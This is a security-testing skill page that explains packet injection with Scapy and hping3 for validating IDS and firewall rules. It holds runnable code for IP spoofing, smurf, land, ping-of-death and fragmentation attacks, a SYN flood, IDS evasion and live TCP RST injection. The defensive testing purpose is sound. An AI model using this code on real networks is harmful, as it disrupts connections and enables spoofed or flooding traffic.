performing-packet-injection-attack
Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
- License 许可
- Apache-2.0
- 最近更新
- 2026-08-31
- Stars
- ★ 3.6w
- Forks
- 4.4k
01 前言 Front Matter
- name
- performing-packet-injection-attack
- tags
- [ "network-security", "packet-injection", "scapy", "hping3", "protocol-testing" ]
- author
- mahipal
- domain
- cybersecurity
- license
- Apache-2.0
- version
- 1.0
- nist_csf
- [ "PR.IR-01", "DE.CM-01", "ID.AM-03", "PR.DS-02" ]
- subdomain
- network-security
- description
- Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
- mitre_attack
- [ "T1046", "T1040", "T1557", "T1071", "T1055" ]
02 资源文件 4
- 许可证LICENSE11.0 KB
- 参考文档references/api-reference.md1.6 KB
- 参考文档references/legacy-command.md8.5 KB
- 脚本scripts/agent.py6.8 KB
03 SKILL.md 正文
Performing Packet Injection Attack
When to Use
- Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
- Performing TCP reset injection to test connection resilience and session hijacking scenarios
Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
Prerequisites
- Written authorization specifying in-scope targets and approved packet injection techniques
- Scapy, hping3, and Nemesis installed on the testing platform
- Root/sudo privileges for raw socket access and packet crafting
- Wireshark or tcpdump on the target side to verify packet delivery
- Understanding of TCP/IP protocol internals, header fields, and flag combinations
Workflow
Step 1: Craft and Send Basic Test Packets with Scapy
#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
from scapy.all import *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")
# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")
# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")
# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
print(f"[*] DNS response received from {response[IP].src}")
Step 2: IP Spoofing and Anti-Spoofing Validation
#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
from scapy.all import *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")
Step 3: TCP Session Manipulation
# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""
from scapy.all import *
# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
Step 4: Protocol Anomaly Testing
#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""
from scapy.all import *
target = "10.10.20.10"
# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")
# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")
# Invalid TCP flag combinations
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("FIN only (no session)", "F"),
("All flags", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] Sent packet with invalid flags: {name}")
# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")
# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")
Step 5: Verify IDS Detection
# Check Snort/Suricata for alerts triggered by injected packets
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
python3 -m json.tool | head -50
# Expected IDS alerts:
# - XMAS scan detected (SID: 2100330)
# - NULL scan detected (SID: 2100331)
# - Land attack detected
# - Smurf attack detected
# - Fragmentation anomaly
# - Invalid TCP flags
# Verify firewall dropped spoofed packets
sudo iptables -L -n -v | grep -i drop
# Check for fragmentation reassembly errors
dmesg | grep -i "fragment\|frag"
Step 6: Document Results
# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team
Test 1: TCP XMAS Scan
IDS Detection: YES (Suricata SID 2100330)
Firewall Action: Dropped
Test 2: IP Spoofing (192.0.2.100)
uRPF Block: YES (packet dropped at edge router)
IDS Detection: YES (source not in HOME_NET)
Test 3: Fragmentation Overlap
IDS Detection: YES (stream reassembly anomaly)
Target Response: Fragments dropped by OS
Test 4: Invalid TCP Flags
IDS Detection: YES (SYN+FIN, SYN+RST flagged)
Firewall Action: Dropped
EOF
Key Concepts
| Term | Definition |
|---|---|
| Packet Injection | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |
| IP Spoofing | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |
| TCP RST Injection | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |
| Fragmentation Attack | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |
| uRPF (Unicast Reverse Path Forwarding) | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |
| BCP38 (Network Ingress Filtering) | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |
Tools & Systems
- Scapy: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers
- hping3: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate
- Nemesis: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols
- tcpreplay: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns
- Nping: Nmap's packet generation tool for crafting probes with arbitrary TCP/UDP/ICMP headers
Common Scenarios
Scenario: Validating IDS Rules After Deployment
Context: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.
Approach:
- Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules
- Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules
- Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules
- Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly
- Send TCP RST injection packets during an active HTTP session to test session disruption detection
- Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata
- Document which rules fired, which did not, and recommend rule tuning for any gaps
Pitfalls:
- Sending injection packets too fast and overwhelming the test network or IDS sensor
- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS
- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection
- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences
Output Format
## Packet Injection Test Report
**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15
### Test Matrix
| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
### Detection Rate: 6/8 (75%)
### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST
04 同仓库更多 Skills
verifying-build-provenance-with-slsa-sigstore
Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.
validating-tpm-measured-boot-attestation
Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.
validating-backup-integrity-for-recovery
Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or tampering.
triaging-windows-with-kape
Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.
triaging-vulnerabilities-with-ssvc-framework
Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.
triaging-security-incident
Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.